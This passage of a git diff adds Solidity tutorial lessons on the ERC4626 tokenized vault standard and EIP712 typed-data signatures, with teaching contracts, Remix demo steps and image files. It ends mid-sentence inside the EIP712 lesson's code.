shares); + + /** + * @dev used by both on-chain and off-chain users to simulate the amount of underlying asset needed to mint a certain amount of vault shares in the current on-chain environment + * - the return value should be close to and not less than the deposit amount required to mint a certain amount of vault amount in the same transaction. + * - do not consider about restrictions like maxMint, assume that user mint transaction will succeed + * - consider fee + * - cannot revert + */ + function previewMint(uint256 shares) external view returns (uint256 assets); + + /** + * @dev used by both on-chain and off-chain users to simulate the amount of vault shares they need to redeem to withdraw a certain amount of the underlying asset in the current on-chain environment + * - the return value should be close to and not greater than the vault share needed to redeem a certain amount of underlying asset withdrawn in the same transaction. + * - do not consider about restrictions like maxWithdraw, assume that user withdraw transaction will succeed + * - consider fee + * - cannot revert + */ + function previewWithdraw(uint256 assets) external view returns (uint256 shares); + + /** + * @dev used by on-chain and off-chain users to simulate the amount of underlying asset they can redeem by burning a certain amount of vault shares in the current on-chain environment + * - the return value should be close to and not less than the amount of underlying asset that can be redeemed by the vault amount burnt in the same transaction. + * - do not consider about restrictions like maxRedeem, assume that user redeem transaction will succeed + * - consider fee + * - cannot revert + */ + function previewRedeem(uint256 shares) external view returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + deposit/widthdrawal limit logic + //////////////////////////////////////////////////////////////*/ + /** + * @dev returns the maximum amount of underlying asset that can be deposited in a single transaction for a given user address. + * - if there is max deposit limit, return value should be a finite value + * - return value should not be greater than 2 ** 256 - 1 + * - cannot revert + */ + function maxDeposit(address receiver) external view returns (uint256 maxAssets); + + /** + * @dev returns the maximum vault amount that can be minted in a single transaction for a given user address. + * - f there is max mint limit, return value should be a finite value + * - return value should not be greater than 2 ** 256 - 1 + * - cannot revert + */ + function maxMint(address receiver) external view returns (uint256 maxShares); + + /** + * @dev returns the maximum amount of underlying asset that can be withdrawn in a single transaction for a given user address. + * - return value should be a finite value + * - cannot revert + */ + function maxWithdraw(address owner) external view returns (uint256 maxAssets); + + /** + * @dev returns the maximum vault amount that can be redeemed in a single transaction for a given user address. + * - return value should be a finite value + * - if there are no other restrictions, the return value should be balanceOf(owner) + * - cannot revert + */ + function maxRedeem(address owner) external view returns (uint256 maxShares); +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step21/img/51-1.png b/SolidityBasics_Part3_Applications/step21/img/51-1.png new file mode 100644 index 000000000..d3039de68 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-1.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-2-1.png b/SolidityBasics_Part3_Applications/step21/img/51-2-1.png new file mode 100644 index 000000000..7b6f62326 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-2-1.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-2-2.png b/SolidityBasics_Part3_Applications/step21/img/51-2-2.png new file mode 100644 index 000000000..03f83ac7d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-2-2.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-3.png b/SolidityBasics_Part3_Applications/step21/img/51-3.png new file mode 100644 index 000000000..bcba51e42 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-3.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-4.png b/SolidityBasics_Part3_Applications/step21/img/51-4.png new file mode 100644 index 000000000..5a6416e36 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-4.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-5.png b/SolidityBasics_Part3_Applications/step21/img/51-5.png new file mode 100644 index 000000000..6d222a91a Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-5.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-6.png b/SolidityBasics_Part3_Applications/step21/img/51-6.png new file mode 100644 index 000000000..3bcd56642 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-6.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-7.png b/SolidityBasics_Part3_Applications/step21/img/51-7.png new file mode 100644 index 000000000..5ca209723 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-7.png differ diff --git a/SolidityBasics_Part3_Applications/step21/img/51-8.png b/SolidityBasics_Part3_Applications/step21/img/51-8.png new file mode 100644 index 000000000..54258620f Binary files /dev/null and b/SolidityBasics_Part3_Applications/step21/img/51-8.png differ diff --git a/SolidityBasics_Part3_Applications/step21/step1.md b/SolidityBasics_Part3_Applications/step21/step1.md new file mode 100644 index 000000000..66b09cf68 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step21/step1.md @@ -0,0 +1,488 @@ +--- +title: 51. ERC4626 Tokenization of Vault Standard +tags: + - solidity + - erc20 + - erc4626 + - defi + - vault + - openzepplin +--- + +# WTF Simplified Introduction to Solidity: 51. ERC4626 Tokenization of Vault Standard + +I have recently been revising Solidity to consolidate the details, and am writing a "WTF Simplified Introduction to Solidity" for beginners to use (programming experts can find other tutorials), with weekly updates of 1-3 lectures. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Official website wtf.academy](https://wtf.academy) + +All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +We often say that DeFi is like LEGO blocks, where you can create new protocols by combining multiple protocols. However, due to the lack of standards in DeFi, its composability is severely affected. ERC4626 extends the ERC20 token standard and aims to standardize yield vaults. In this talk, we will introduce the new generation DeFi standard - ERC4626 and write a simple vault contract. The teaching code reference comes from the ERC4626 contract in Openzeppelin and Solmate and is for teaching purposes only. + +## Vault + +The vault contract is the foundation of DeFi LEGO blocks. It allows you to stake basic assets (tokens) to the contract in exchange for certain returns, including the following scenarios: + +- Yield farming: In Yearn Finance, you can stake USDT to earn interest. +- Borrow/Lend: In AAVE, you can supply ETH to earn deposit interest and get a loan. +- Stake: In Lido, you can stake ETH to participate in ETH 2.0 staking and obtain stETH that can be used to earn interest. + +## ERC4626 + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-1.png) + +Since the vault contract lacks standards, there are various ways of implementation. A yield aggregator needs to write many interfaces to connect with different DeFi projects. The ERC4626 Tokenized Vault Standard has emerged to enable easy expansion of DeFi with the following advantages: + +1. Tokenization: ERC4626 inherits ERC20. When depositing to the vault, you will receive vault shares that are also compliant with the ERC20 standard. For example, when staking ETH, you will automatically get stETH as your share. + +2. Better liquidity: Due to tokenization, you can use vault shares to do other things without withdrawing the underlying assets. For example, you can use Lido's stETH to provide liquidity or trade on Uniswap, without withdrawing any ETH. + +3. Better composability: With the standard in place, a single set of interfaces can interact with all ERC4626 vaults, making it easier to develop applications, plugins, and tools based on vaults. + +In summary, the importance of ERC4626 for DeFi is no less than that of ERC721 for NFTs. + +### Key Points of ERC4626 + +The ERC4626 standard mainly implements the following logic: + +1. ERC20: ERC4626 inherits ERC20, and the vault shares are represented by ERC20 tokens: users deposit specific ERC20 underlying assets (such as WETH) into the vault, and the contract mints a specific number of vault share tokens for them; When users withdraw underlying assets from the vault, the corresponding number of vault share tokens will be destroyed. The `asset()` function returns the token address of the vault's underlying asset. +2. Deposit logic: allows users to deposit underlying assets and mint the corresponding number of vault shares. Related functions are `deposit()` and `mint()`. The `deposit(uint assets, address receiver)` function allows users to deposit `assets` units of assets and mint the corresponding number of vault shares to the `receiver` address. `mint(uint shares, address receiver)` is similar, except that it takes the minted vault shares as a parameter. +3. Withdrawal logic: allows users to destroy vault share tokens and withdraw the corresponding number of underlying assets from the vault. Related functions are `withdraw()` and `redeem()`, the former taking the amount of underlying assets to be withdrawn as a parameter, and the latter taking the number of destroyed vault share tokens as a parameter. +4. Accounting and limit logic: other functions in the ERC4626 standard are for asset accounting in the vault, deposit and withdrawal limits and the number of underlying assets and vault shares for deposit and withdrawal. + +### IERC4626 Interface Contract + +The IERC4626 interface contract includes a total of `2` events: +- `Deposit` event: triggered when depositing. +- `Withdraw` event: triggered when withdrawing. + +The IERC4626 interface contract also includes `16` functions, which are classified into `4` categories according to their functionality: metadata functions, deposit/withdrawal logic functions, accounting logic functions, and deposit/withdrawal limit logic functions. + +- Metadata + - `asset()`: returns the address of the underlying asset token of the vault, which is used for deposit and withdrawal. +- Deposit/Withdrawal Logic + - `deposit()`: a function that allows users to deposit `assets` units of the underlying asset into the vault, and the contract mints `shares` units of the vault's shares to the `receiver` address. It releases a `Deposit` event. + - `mint()`: a minting function (also a deposit function) that allows users to deposit `assets` units of the underlying asset and the contract mints the corresponding amount of the vault's shares to the `receiver` address. It releases a `Deposit` event. + - `withdraw()`: a function that allows the `owner` address to burn `share` units of the vault's shares, and the contract sends the corresponding amount of the underlying asset to the `receiver` address. + - `redeem()`: a redemption function (also a withdrawal function) that allows the `owner` address to burn `share` units of the vault's shares and the contract sends the corresponding amount of the underlying asset to the `receiver` address. +- Accounting Logic + - `totalAssets()`: returns the total amount of underlying asset tokens managed in the vault. + - `convertToShares()`: returns the amount of vault shares that can be obtained by using a certain amount of the underlying asset. + - `convertToAssets()`: returns the amount of underlying asset that can be obtained by using a certain amount of vault shares. + - `previewDeposit()`: used by users to simulate the amount of vault shares they can obtain by depositing a certain amount of the underlying asset in the current on-chain environment. + - `previewMint()`: used by users to simulate the amount of underlying asset needed to mint a certain amount of vault shares in the current on-chain environment. + - `previewWithdraw()`: used by users to simulate the amount of vault shares they need to redeem to withdraw a certain amount of the underlying asset in the current on-chain environment. + - `previewRedeem()`: used by on-chain and off-chain users to simulate the amount of underlying asset they can redeem by burning a certain amount of vault shares in the current on-chain environment. +- Deposit/Withdrawal Limit Logic + - `maxDeposit()`: returns the maximum amount of the underlying asset that a certain user address can deposit in a single deposit. + - `maxMint()`: returns the maximum amount of vault shares that a certain user address can mint in a single mint. + - `maxWithdraw()`: returns the maximum amount of the underlying asset that a certain user address can withdraw in a single withdrawal. + +- `maxRedeem()`: Returns the maximum vault quota that can be destroyed in a single redemption for a given user address. + +```solidity +// SPDX-License-Identifier: MIT +// Author: 0xAA from WTF Academy + +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; + +/** + * @dev ERC4626 "Tokenized Vaults Standard" interface contract + * https://eips.ethereum.org/EIPS/eip-4626. + */ +interface IERC4626 is IERC20, IERC20Metadata { + /*////////////////////////////////////////////////////////////// + event + //////////////////////////////////////////////////////////////*/ + // triggered when depositing + event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares); + + // triggered when withdrawing + event Withdraw( + address indexed sender, + address indexed receiver, + address indexed owner, + uint256 assets, + uint256 shares + ); + + /*////////////////////////////////////////////////////////////// + metadata + //////////////////////////////////////////////////////////////*/ + /** + * @dev returns the address of the underlying asset token of the vault (used for deposit and withdrawal) + * - has to be ERC20 token contract address + * - cannot revert + */ + function asset() external view returns (address assetTokenAddress); + + /*////////////////////////////////////////////////////////////// + deposit/withdraw logic + //////////////////////////////////////////////////////////////*/ + /** + * @dev deposit function: user deposit ${assets} units of underlying asset to vault, + * and the contract mints ${shares} unit vault share to receiver's address + * + * - has to emit Deposit event + * - if asset cannot be deposited succuessfully, must revert. e.g. when deposit amount exceeds limit + */ + function deposit(uint256 assets, address receiver) external returns (uint256 shares); + + /** + * @dev mint function: users deposit ${assets} units of the underlying asset + * and the contract mints the corresponding amount of the vault's shares to the receiver's address + * - has to emit Deposit event + * - if it cannot mint, must revert. e.g. minting amount exceeds limit + */ + function mint(uint256 shares, address receiver) external returns (uint256 assets); + + /** + * @dev withdraw function: owner address burns ${share} units of the vault's shares, + * and the contract transfers the corresponding amount of the underlying asset to the receiver address + * + * - emit Withdraw event + * - if all assets cannot be withdrew, it will revert + */ + function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); + + /** + * @dev redeem function: owner address burns ${share} units of the vault's shares, + * and the contract transfers the corresponding amount of the underlying asset to the receiver address + * + * - emit Withdraw event + * - if vault's share cannot be redeemed, then revert + */ + function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + Accounting Logic + //////////////////////////////////////////////////////////////*/ + + /** + * @dev returns the total amount of underlying asset tokens managed in the vault + * + * - include interest + * - include fee + * - cannot revert + */ + function totalAssets() external view returns (uint256 totalManagedAssets); + + /** + * @dev returns the amount of vault shares that can be obtained by using a certain amount of the underlying asset + + * - do not include fee + * - do not include slippage + * - cannot revert + */ + function convertToShares(uint256 assets) external view returns (uint256 shares); + + /** + * @dev returns the amount of underlying asset that can be obtained by using a certain amount of vault shares + * + * - do not include fee + * - do not include slippage + * - cannot revert + */ + function convertToAssets(uint256 shares) external view returns (uint256 assets); + + /** + * @dev used by both on-chain and off-chain users to simulate the amount of vault shares they can obtain by depositing a certain amount of the underlying asset in the current on-chain environment + * + * - the return value should be close to and not greater than the vault amount obtained by depositing in the same transaction + * - do not consider about restrictions like maxDeposit, assume that user deposit will succeed + * - consider fee + * - cannot revert + * NOTE: use the difference of the return values of convertToAssets and previewDeposit to calculate slippage + */ + function previewDeposit(uint256 assets) external view returns (uint256 shares); + + /** + * @dev used by both on-chain and off-chain users to simulate the amount of underlying asset needed to mint a certain amount of vault shares in the current on-chain environment + * - the return value should be close to and not less than the deposit amount required to mint a certain amount of vault amount in the same transaction. + * - do not consider about restrictions like maxMint, assume that user mint transaction will succeed + * - consider fee + * - cannot revert + */ + function previewMint(uint256 shares) external view returns (uint256 assets); + + /** + * @dev used by both on-chain and off-chain users to simulate the amount of vault shares they need to redeem to withdraw a certain amount of the underlying asset in the current on-chain environment + * - the return value should be close to and not greater than the vault share needed to redeem a certain amount of underlying asset withdrawn in the same transaction. + * - do not consider about restrictions like maxWithdraw, assume that user withdraw transaction will succeed + * - consider fee + * - cannot revert + */ + function previewWithdraw(uint256 assets) external view returns (uint256 shares); + + /** + * @dev used by on-chain and off-chain users to simulate the amount of underlying asset they can redeem by burning a certain amount of vault shares in the current on-chain environment + * - the return value should be close to and not less than the amount of underlying asset that can be redeemed by the vault amount burnt in the same transaction. + * - do not consider about restrictions like maxRedeem, assume that user redeem transaction will succeed + * - consider fee + * - cannot revert + */ + function previewRedeem(uint256 shares) external view returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + deposit/widthdrawal limit logic + //////////////////////////////////////////////////////////////*/ + /** + * @dev returns the maximum amount of underlying asset that can be deposited in a single transaction for a given user address. + * - if there is max deposit limit, return value should be a finite value + * - return value should not be greater than 2 ** 256 - 1 + * - cannot revert + */ + function maxDeposit(address receiver) external view returns (uint256 maxAssets); + + /** + * @dev returns the maximum vault amount that can be minted in a single transaction for a given user address. + * - f there is max mint limit, return value should be a finite value + * - return value should not be greater than 2 ** 256 - 1 + * - cannot revert + */ + function maxMint(address receiver) external view returns (uint256 maxShares); + + /** + * @dev returns the maximum amount of underlying asset that can be withdrawn in a single transaction for a given user address. + * - return value should be a finite value + * - cannot revert + */ + function maxWithdraw(address owner) external view returns (uint256 maxAssets); + + /** + * @dev returns the maximum vault amount that can be redeemed in a single transaction for a given user address. + * - return value should be a finite value + * - if there are no other restrictions, the return value should be balanceOf(owner) + * - cannot revert + */ + function maxRedeem(address owner) external view returns (uint256 maxShares); +} +``` + +### ERC4626 Contract + +Here, we are implementing an extremely simple version of tokenized vault contract: +- The constructor initializes the address of the underlying asset contract, the name, and symbol of the vault shares token. Note that the name and symbol of the vault shares token should be associated with the underlying asset. For example, if the underlying asset is called `WTF`, the vault shares should be called `vWTF`. +- When a user deposits `x` units of the underlying asset into the vault, `x` units (equivalent) of vault shares will be minted. +- When a user withdraws `x` units of vault shares from the vault, `x` units (equivalent) of the underlying asset will be withdrawn as well. + +**Note**: In actual use, special care should be taken to consider whether the accounting logic related functions should be rounded up or rounded down. You can refer to the implementations of [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol) and [Solmate](https://github.com/transmissions11/solmate/blob/main/src/mixins/ERC4626.sol). However, this is not considered in the teaching example in this section. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity >=0.8.0; + +import {IERC4626} from "./IERC4626.sol"; +import {ERC20, IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +/** + * @dev ERC4626 "Tokenized Vaults Standard" contract. + * FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION + */ +contract ERC4626 is ERC20, IERC4626 { + /*////////////////////////////////////////////////////////////// + state variables + //////////////////////////////////////////////////////////////*/ + ERC20 private immutable _asset; // + uint8 private immutable _decimals; + + constructor( + ERC20 asset_, + string memory name_, + string memory symbol_ + ) ERC20(name_, symbol_) { + _asset = asset_; + _decimals = asset_.decimals(); + + } + + /** @dev See {IERC4626-asset}. */ + function asset() public view virtual override returns (address) { + return address(_asset); + } + + /** + * See {IERC20Metadata-decimals}. + */ + function decimals() public view virtual override(IERC20Metadata, ERC20) returns (uint8) { + return _decimals; + } + + /*////////////////////////////////////////////////////////////// + deposit/withdrawal logic + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-deposit}. */ + function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) { + // use previewDeposit() to calculate vault share to be retained + shares = previewDeposit(assets); + + // transfer first then mint, prevent reentrancy attack + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // emit Deposit event + emit Deposit(msg.sender, receiver, assets, shares); + } + + /** @dev See {IERC4626-mint}. */ + function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) { + // use previewDeposit() to calculate amount of underlyting asset that needs to be deposited + assets = previewMint(shares); + + // transfer first then mint, prevent reentrancy attack + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // emit Deposit event + emit Deposit(msg.sender, receiver, assets, shares); + + } + + /** @dev See {IERC4626-withdraw}. */ + function withdraw( + uint256 assets, + address receiver, + address owner + ) public virtual returns (uint256 shares) { + // use previewWithdraw() to calculate vault share that will be burnt + shares = previewWithdraw(assets); + + // if caller is not owner, check and update allownance + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // burn first then transfer, prevent reentrancy attack + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // emit Withdraw event + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /** @dev See {IERC4626-redeem}. */ + function redeem( + uint256 shares, + address receiver, + address owner + ) public virtual returns (uint256 assets) { + // use previewRedeem() to calculate the amount of underlying asset that can be redeemed + assets = previewRedeem(shares); + + // if caller is not owner, check and update allownance + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // burn first then transfer, prevent reentrancy attack + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // emit Withdraw event + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /*////////////////////////////////////////////////////////////// + accounting logic + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-totalAssets}. */ + function totalAssets() public view virtual returns (uint256){ + // returns balance of underlying asset for this contract + return _asset.balanceOf(address(this)); + } + + /** @dev See {IERC4626-convertToShares}. */ + function convertToShares(uint256 assets) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // if supply is 0, then mint vault share at 1:1 ratio + // if supply is not 0, then mint vault share at actual ratio + return supply == 0 ? assets : assets * supply / totalAssets(); + } + + /** @dev See {IERC4626-convertToAssets}. */ + function convertToAssets(uint256 shares) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // if supply is 0, then redeem underlying asset at 1:1 ratio + // if supply is not 0, then redeem underlying asset at actual ratio + return supply == 0 ? shares : shares * totalAssets() / supply; + } + + /** @dev See {IERC4626-previewDeposit}. */ + function previewDeposit(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev See {IERC4626-previewMint}. */ + function previewMint(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + /** @dev See {IERC4626-previewWithdraw}. */ + function previewWithdraw(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev See {IERC4626-previewRedeem}. */ + function previewRedeem(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + /*////////////////////////////////////////////////////////////// + DEPOSIT/WITHDRAWAL LIMIT LOGIC + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-maxDeposit}. */ + function maxDeposit(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev See {IERC4626-maxMint}. */ + function maxMint(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev See {IERC4626-maxWithdraw}. */ + function maxWithdraw(address owner) public view virtual returns (uint256) { + return convertToAssets(balanceOf(owner)); + } + + /** @dev See {IERC4626-maxRedeem}. */ + function maxRedeem(address owner) public view virtual returns (uint256) { + return balanceOf(owner); + } +} +``` + +## `Remix` Demo + +**Note:** the demo show below uses the second remix account, which is `0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2`, to deploy and call functions. + +1. Deploy an `ERC20` token contract with the token name and symbol both set to `WTF`, and mint yourself `10000` tokens. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-2-1.png) +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-2-2.png) +2. Deploy an `ERC4626` token contract with the underlying asset contract address set to the address of `WTF`, and set the name and symbol to `vWTF`. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-3.png) +3. Call the `approve()` function of the `ERC20` contract to authorize the `ERC4626` contract. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-4.png) + +4. Call the `deposit()` function of the `ERC4626` contract to deposit `1000` tokens. Then call the `balanceOf()` function to check that your vault share has increased to `1000`. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-5.png) + +5. Call the `mint()` function of the `ERC4626` contract to deposit another `1000` tokens. Then call `balanceOf()` function to check that your vault share has increased to `2000`. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-6.png) + +6. Call the `withdraw()` function of the `ERC4626` contract to withdraw `1000` tokens. Then call the `balanceOf()` function to check that your vault share has decreased to `1000`. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-7.png) + +7. Call the `redeem()` function of the `ERC4626` contract to withdraw `1000` tokens. Then call the `balanceOf()` function to check that your vault share has decreased to `0`. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/51_ERC4626_en/step1/img/51-8.png) + +## Summary + +In this lesson, we introduced the ERC4626 tokenized vault standard and wrote a simple vault contract that converts underlying assets to 1:1 vault share tokens. The ERC4626 standard improves the liquidity and composability of DeFi and it will gradually become more popular in the future. What applications would you build with ERC4626? diff --git a/SolidityBasics_Part3_Applications/step22/EIP712Storage.sol b/SolidityBasics_Part3_Applications/step22/EIP712Storage.sol new file mode 100644 index 000000000..e45d5a117 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step22/EIP712Storage.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // type hash + keccak256(bytes("EIP712Storage")), // name + keccak256(bytes("1")), // version + block.chainid, // chain id + address(this) // contract address + )); + owner = msg.sender; + } + + /** + * @dev Store value in variable + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Check the signature length, 65 is the length of standard r, s, v signatures + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently, assembly (inline assembly) can only be used to obtain the values of r, s, and v from the signature. + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rules) + add(sig, 32) = pointer to sig + 32 + Equivalent to skipping the first 32 bytes of signature + mload(p) loads the next 32 bytes of data starting from memory address p + */ + // 32 bytes after reading the length data + r := mload(add(_signature, 0x20)) + //32 bytes after reading + s := mload(add(_signature, 0x40)) + //Read the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + + // Get signed message hash + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); // Restore signer + require(signer == owner, "EIP712Storage: Invalid signature"); // Check signature + + // Modify state variables + number = _num; + } + + /** + * @dev Return value + * @return value of 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} diff --git a/SolidityBasics_Part3_Applications/step22/eip712storage.html b/SolidityBasics_Part3_Applications/step22/eip712storage.html new file mode 100644 index 000000000..eb43f2def --- /dev/null +++ b/SolidityBasics_Part3_Applications/step22/eip712storage.html @@ -0,0 +1,115 @@ + + + + + + EIP-712 Signature Example + + +

EIP-712 Signature Example

+ + + +
+ + +
+ + +
+ + +
+ + +
+ + +
+

+
+  
Wallet address:
+
ChainID:
+
ETH Balance:
+
Signature data:
+ + + + diff --git a/SolidityBasics_Part3_Applications/step22/img/52-1.png b/SolidityBasics_Part3_Applications/step22/img/52-1.png new file mode 100644 index 000000000..d52d43120 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step22/img/52-1.png differ diff --git a/SolidityBasics_Part3_Applications/step22/img/52-2.png b/SolidityBasics_Part3_Applications/step22/img/52-2.png new file mode 100644 index 000000000..0b521b27a Binary files /dev/null and b/SolidityBasics_Part3_Applications/step22/img/52-2.png differ diff --git a/SolidityBasics_Part3_Applications/step22/img/52-3.png b/SolidityBasics_Part3_Applications/step22/img/52-3.png new file mode 100644 index 000000000..76081409a Binary files /dev/null and b/SolidityBasics_Part3_Applications/step22/img/52-3.png differ diff --git a/SolidityBasics_Part3_Applications/step22/img/52-4.png b/SolidityBasics_Part3_Applications/step22/img/52-4.png new file mode 100644 index 000000000..ab8640e31 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step22/img/52-4.png differ diff --git a/SolidityBasics_Part3_Applications/step22/step1.md b/SolidityBasics_Part3_Applications/step22/step1.md new file mode 100644 index 000000000..b6c935ddf --- /dev/null +++ b/SolidityBasics_Part3_Applications/step22/step1.md @@ -0,0 +1,202 @@ +--- +title: 52. EIP712 Typed Data Signature +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Solidity Minimalist Introduction: 52. EIP712 Typed Data Signature + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lecture, we introduce a more advanced and secure signature method, EIP712 typed data signature. + +## EIP712 + +Previously we introduced [EIP191 signature standard (personal sign)](https://github.com/AmazingAng/WTF-Solidity/blob/main/37_Signature/readme.md), which can sign a message. But it is too simple. When the signature data is complex, the user can only see a string of hexadecimal strings (the hash of the data) and cannot verify whether the signature content is as expected. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/52_EIP712_en/step1/img/52-1.png) + +[EIP712 Typed Data Signature](https://eips.ethereum.org/EIPS/eip-712) is a more advanced and more secure signature method. When an EIP712-enabled Dapp requests a signature, the wallet displays the original data of the signed message and the user can sign after verifying that the data meets expectations. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/52_EIP712_en/step1/img/52-2.png) + +## How to use EIP712 + +The application of EIP712 generally includes two parts: off-chain signature (front-end or script) and on-chain verification (contract). Below we use a simple example `EIP712Storage` to introduce the use of EIP712. The `EIP712Storage` contract has a state variable `number`, which needs to be verified by the EIP712 signature before it can be changed. + +### Off-chain signature + +1. The EIP712 signature must contain an `EIP712Domain` part, which contains the name of the contract, version (generally agreed to be "1"), chainId, and verifyingContract (the contract address to verify the signature). + + ```js + EIP712Domain: [ + { name: "name", type: "string" }, + { name: "version", type: "string" }, + { name: "chainId", type: "uint256" }, + { name: "verifyingContract", type: "address" }, + ] + ``` + + This information is displayed when the user signs and ensures that only specific contracts for a specific chain can verify the signature. You need to pass in the corresponding parameters in the script. + + ```js + const domain = { + name: "EIP712Storage", + version: "1", + chainId: "1", + verifyingContract: "0xf8e81D47203A594245E36C48e151709F0C19fBe8", + }; + ``` + +2. You need to customize a signature data type according to the usage scenario, and it must match the contract. In the `EIP712Storage` example, we define a `Storage` type, which has two members: `spender` of type `address`, which specifies the caller who can modify the variable; `number` of type `uint256`, which specifies The modified value of the variable. + + ```js + const types = { + Storage: [ + { name: "spender", type: "address" }, + { name: "number", type: "uint256" }, + ], + }; + ``` +3. Create a `message` variable and pass in the typed data to be signed. + + ```js + const message = { + spender: 